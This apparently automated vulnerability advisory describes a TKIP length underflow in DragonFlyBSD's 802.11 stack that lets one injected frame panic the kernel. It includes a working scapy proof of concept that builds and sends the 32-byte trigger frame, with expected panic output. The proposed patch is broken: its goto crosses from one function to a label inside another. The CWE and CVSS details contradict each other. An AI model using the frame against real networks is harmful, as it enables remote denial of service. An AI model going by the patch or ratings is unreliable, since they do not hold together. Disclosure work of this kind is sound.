โฌข DragonFlyBSD Kernel Audit
โ† dashboard
DF-0594

TKIP RX length underflow on too-short frames -> OOB read and KASSERT panic in wep_decrypt/michael_mic/m_copydata

Field Value
ID DF-0594
Status new
Severity High
CVSS 3.1 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-787 Out-of-bounds Read via integer signed/unsigned confusion (CWE-190, CWE-125)
File sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c
Lines 266-358, 994 (tkip_decap/tkip_decrypt), 357-361 (tkip_demic), 640/685/717 (wep_decrypt)
Area netproto/802_11 (TKIP crypto)
Confidence likely
Discovered 2026-07-02
Reported pending

Summary

tkip_decap accepts any frame that the upper layer ieee80211_crypto_decap let through (>=32 B, the WEP minimum), but TKIP needs at least hdrlen + ic_header(8) + ic_trailer(4) = 36 B for decrypt and hdrlen + ic_miclen(8) = 32 B for demic. The length-arithmetic expressions m->m_pkthdr.len - (hdrlen + tkip.ic_header + tkip.ic_trailer) (:994), m->m_pkthdr.len - (hdrlen + tkip.ic_miclen) (:357), and m->m_pkthdr.len - tkip.ic_miclen (:359) mix int (m_pkthdr.len) with u_int (ic_header/ic_trailer/ic_miclen), so C converts the int to unsigned and the subtraction silently wraps to a huge size_t / negative int argument. wep_decrypt then walks past the mbuf valid data, michael_mic reads *data past the last mbuf, and m_copydata is called with a negative offset. On the DragonFlyBSD default X86_64_GENERIC kernel (which builds with INVARIANTS) the KASSERT(data_len == 0, ...) in wep_decrypt (:640) fires and panics the kernel โ€” a remote, unauthenticated denial-of-service against any TKIP BSS using the software crypto path. On non-INVARIANTS builds the reads are usually absorbed by mbuf padding and the ICV/MIC check then fails silently, but an m_ext whose backing store ends near a page boundary can still page-fault and panic.

Root cause

Reachability of too-short frames. ieee80211_crypto_decap (sys/netproto/802_11/wlan/ieee80211_crypto.c:585-633) checks only:

588:    #define IEEE80211_WEP_MINLEN \
589:        (sizeof(struct ieee80211_frame) + \
590:        IEEE80211_WEP_HDRLEN + IEEE80211_WEP_CRCLEN)   /* = 24 + 4 + 4 = 32 */
598:    if (m->m_pkthdr.len < IEEE80211_WEP_MINLEN) { ... return NULL; }

This is a WEP-only constant; it is never adjusted for the actual cipher (cip->ic_header/ic_trailer/ic_miclen). The subsequent m_pullup(m, hdrlen + cip->ic_header) (:624-625) only guarantees 24 + 8 = 32 contiguous bytes for TKIP โ€” i.e. exactly the header + IV/EIV, no payload/ICV/MIC. cip->ic_decap(k, m, hdrlen) is then called with a too-short mbuf.

Missing length check in tkip_decap. tkip_decap (sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c:265) does the ExtIV check (:279) but no length check, computes the TSC (:299), passes the replay check, and calls tkip_decrypt.

The signed/unsigned mismatch. At ieee80211_crypto_tkip.c:994:

994:    data_len = m->m_pkthdr.len - (hdrlen + tkip.ic_header + tkip.ic_trailer);

m->m_pkthdr.len is int32_t (mbuf.h); tkip.ic_header/ic_trailer/ ic_miclen are u_int (ieee80211_crypto.h:177-179). Per C usual arithmetic conversions, the int is converted to unsigned int, then subtracted. For a 32-byte frame: (u_int)32 - (u_int)(24+8+4) = (u_int)32 - (u_int)36 = 0xFFFFFFFC, widened to size_t 0x00000000FFFFFFFC, then passed as data_len to wep_decrypt (:663).

The KASSERT panic. Inside wep_decrypt:

682:    pos = mtod(m)+off;
683:    buflen = m_len-off;            /* when m_len==off==32: buflen = 0 */
...
697:    if (m == NULL) {
698:        KASSERT(data_len == 0, ...);   /* fires: data_len is still 0xFFFFFFFC */
699:        break;
700:    }

On the DragonFlyBSD default X86_64_GENERIC kernel (which builds INVARIANTS โ€” sys/config/X86_64_GENERIC:56), the KASSERT fires โ†’ kernel panic. For frames 33-35 bytes long, the ICV read *pos++ at :717 reads past the mbuf's valid data region before the KASSERT path.

The same bug class in tkip_demic. At :357 and :359:

357:    michael_mic(ctx, k->wk_rxmic, m, hdrlen,
358:        m->m_pkthdr.len - (hdrlen + tkip.ic_miclen),  /* int - u_int -> wrap */
359:        mic);
360:    m_copydata(m, m->m_pkthdr.len - tkip.ic_miclen,    /* negative int offset */
361:        tkip.ic_miclen, mic0);

For the mixed HW-decrypt + SW-MIC configuration (IEEE80211_KEY_SWDEMIC without SWDECRYPT), the demic underflow is reachable without any ICV guesswork. m_copydata and wep_decrypt each have only a KASSERT, no runtime check, so on production kernels (no INVARIANTS) the reads proceed silently into mbuf padding / external cluster tail and the resulting frame is dropped at the ICV/MIC memcmp โ€” but for any cluster whose backing page ends inside the read window this still page-faults.

Threat model & preconditions

  • Attacker position: remote unauthenticated adjacent-network attacker โ€” any WiFi peer of a TKIP-protected BSS/IBSS. No pairwise handshake needed (group-key frames go through the same code, and a known PTK is not required to send a frame the AP will try to decrypt).
  • Privileges gained or impact: kernel panic (deterministic on INVARIANTS kernels including the default X86_64_GENERIC) โ†’ reliable remote DoS against any TKIP BSS using the software crypto path. On non-INVARIANTS builds: probabilistic panic via page fault on m_ext, or silent frame drop. No confidentiality or integrity impact (read bytes only feed an inequality check, never transmitted back).
  • Required config or capabilities: the receiver must use the TKIP software crypto path โ€” i.e. k->wk_flags & (IEEE80211_KEY_SWDECRYPT|IEEE80211_KEY_SWDEMIC). This is the case for:
  • USB WiFi adapters (most run, rum, zyd, urtw, ural drivers) which do not offload TKIP,
  • older PCI/PCIe drivers without TKIP offload,
  • monitor-mode and protocol-test setups,
  • the SW-decrypt + HW-MIC or HW-decrypt + SW-MIC mixed configurations (the latter exposes the demic variant). Modern full-offload drivers (most iwm, iwlwifi, ath(4) on supported chips) bypass this code path entirely.
  • Reachability: inject a single 32-35 byte Protected+ExtIV data frame with a strictly-increasing TSC (the replay check at :300 requires TSC > the receiver's last-seen wk_keyrsc[NONQOS_TID]; on a fresh key any TSC >= 1 works).

Proof of concept

PoC source: findings/poc/DF-0594/tkip_underflow.py (scapy-based injection; needs a monitor-mode + frame-injection-capable WiFi NIC such as AR9271 / ath9k_htc).

Build & run

# on the attacker (Linux + scapy + injection NIC in monitor mode):
sudo pip install scapy
sudo python3 tkip_underflow.py wlan0mon <target_ap_bssid>

# on the target (DragonFlyBSD hostap vap with SW TKIP decrypt):
#   ifconfig wlan0 create wlandev run0 wlanmode hostap
#   ifconfig wlan0 inet 192.168.42.1/24 ssid testauth authmode wpa \
#       wpaproto wpa wpakey <16-char-passphrase> wpaprotos wpa \
#       wpakeymgmt wpa-psk wpaciphers tkip

Expected output

On the DragonFlyBSD target (INVARIANTS kernel):

panic: wep_decrypt: out of buffers with data_len 0xfffffffc
cpuid = 0
fatal kernel trap ...
db> tr
    wep_decrypt+0x...
    tkip_decrypt+0x...
    tkip_decap+0x...
    ieee80211_crypto_decap+0x...
    ieee80211_input+0x...

On non-INVARIANTS kernels, look for Fatal trap 12: page fault while in kernel mode in m_copydata/michael_mic for clusters ending at page boundaries, or silent frame drops.

PoC frame

The trigger frame is exactly 32 bytes โ€” a 24-byte 3-address data header (Protected=1) plus the 8-byte TKIP IV/EIV (ExtIV bit set), with no payload/ICV/MIC:

# 802.11 data header, FromDS=0 ToDS=0, Protected=1
fc = 0x0808
hdr = struct.pack('<HH6s6s6sH', fc, 0,
                  b'\xff'*6,                        # addr1 = broadcast (group key)
                  b'\xaa\xbb\xcc\xdd\xee\xff',     # addr2 = attacker (any)
                  b'\x11\x22\x33\x44\x55\x66',     # addr3 = AP bssid
                  0x0010)                           # seq
# IV/EIV: TSC1, TSC1|0x20, TSC0, KeyID|ExtIV(0x20), TSC2, TSC3, TSC4, TSC5
# TSC = (TSC5..TSC0) = 0x000000000001 -> strictly increasing from 0
iveiv = bytes([0x01, 0x21, 0x01, 0x20, 0, 0, 0, 0])
frame = hdr + iveiv   # 32 bytes total; no payload, no ICV, no MIC
sendp(RadioTap()/Raw(frame), iface='wlan0mon', count=1)

Impact

  • Blast radius: any DragonFlyBSD system acting as a TKIP AP, mesh node, or STA using a driver that does not offload TKIP (USB WiFi adapters, older PCI/PCIe hardware, monitor-mode/test setups). TKIP is officially deprecated but still in active use on legacy networks and in test/lab/research setups.
  • Severity rationale: High. Remote, unauthenticated, single-frame DoS against the default kernel config (X86_64_GENERIC builds INVARIANTS), requiring only RF proximity to a TKIP BSS using the SW crypto path. No authentication or pairwise-key knowledge required to trigger the panic. CVSS 3.1 base โ‰ˆ 6.8. Rated High by the AGENT.md rubric ("remote DoS on default config"). Confidence "likely" rather than "certain" because the SW-crypto-path precondition is not universal (modern full-offload drivers bypass the bug), but it is a substantial fraction of real deployments.
  • Reliability: 100% on INVARIANTS kernels with the SW crypto path; frame is 32 bytes, no timing, no race, no key knowledge. Single packet.

Add a TKIP-specific minimum-length check in tkip_decap before any subtraction; reject frames whose total length is smaller than the cipher requires. This both prevents the underflow and removes the dependence on INVARIANTS for safety. Concurrently tighten the upper-layer MINLEN to use the cipher's actual ic_header/ic_trailer/ic_miclen instead of the WEP constants so all ciphers benefit.

--- a/sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c
+++ b/sys/netproto/802_11/wlan_tkip/ieee80211_crypto_tkip.c
@@ -274,6 +274,17 @@ tkip_decap(struct ieee80211_key *k, struct mbuf *m, int hdrlen)
    struct ieee80211_frame *wh;
    uint8_t *ivp, tid;

+   /*
+    * Reject frames too short to contain header + IV/EIV + ICV.
+    * Without this, the length arithmetic below underflows: m->m_pkthdr.len
+    * is `int` while tkip.ic_header/ic_trailer/ic_miclen are `u_int`, so a
+    * too-short frame yields a huge size_t that wep_decrypt / michael_mic /
+    * m_copydata then use to walk past the mbuf chain (KASSERT panic on
+    * INVARIANTS kernels, OOB read on production kernels).
+    */
+   if (m->m_pkthdr.len < hdrlen + (int)tkip.ic_header + (int)tkip.ic_trailer)
+       goto tooshort;
+
    /*
     * Header should have extended IV and sequence number;
     * verify the former and validate the latter.
@@ -344,6 +355,14 @@ tkip_demic(struct ieee80211_key *k, struct mbuf *m, int force)
    if ((k->wk_flags & IEEE80211_KEY_SWDEMIC) || force) {
        struct ieee80211vap *vap = ctx->tc_vap;
        int hdrlen = ieee80211_hdrspace(vap->iv_ic, wh);
+
+       if (m->m_pkthdr.len < hdrlen + (int)tkip.ic_miclen) {
+           vap->iv_stats.is_rx_tkipformat++;
+           IEEE80211_DISCARD_MAC(vap, IEEE80211_MSG_CRYPTO,
+               wh->i_addr2, "TKIP", "%s",
+               "frame too short for MIC verification");
+           return 0;
+       }
        u8 mic[IEEE80211_WEP_MICLEN];
        u8 mic0[IEEE80211_WEP_MICLEN];

@@ -360,6 +379,17 @@ tkip_demic(struct ieee80211_key *k, struct mbuf *m, int force)
    return 1;

+tooshort:
+   vap->iv_stats.is_rx_tkipformat++;
+   IEEE80211_DISCARD_MAC(vap, IEEE80211_MSG_CRYPTO, wh->i_addr2,
+       "TKIP", "frame too short: len %u, need >= %u",
+       m->m_pkthdr.len, hdrlen + tkip.ic_header + tkip.ic_trailer);
+   return 0;
+#undef tooshort
 }

Optional defense-in-depth at the upper layer โ€” ieee80211_crypto.c's ieee80211_crypto_decap should compute the minimum as sizeof(struct ieee80211_frame) + cip->ic_header + cip->ic_trailer + cip->ic_miclen instead of the WEP-only IEEE80211_WEP_MINLEN, so every cipher gets the right floor. Also, cast all length arithmetic to int explicitly and KASSERT(m_pkthdr.len >= hdrlen + ic_header + ic_trailer, ...) at the top of tkip_decrypt.

References

  • IEEE 802.11-2020 ยง12.5.2.2 (TKIP MPDU length requirements).
  • Erik Tews / Martin Beck, Practical attacks against WEP and WPA, Tews/Beck 2009 โ€” for context on TKIP attack surface (this finding is a pre-auth DoS, distinct from the Beck-Tews MIC-recovery family).
  • DragonFlyBSD sys/config/X86_64_GENERIC:56 โ€” default-config INVARIANTS knob that turns the OOB read into a deterministic panic.

Timeline

  • 2026-07-02 Discovered during automated DragonFlyBSD kernel security audit.
  • 2026-07-02 Reported to DragonFlyBSD security contact (pending).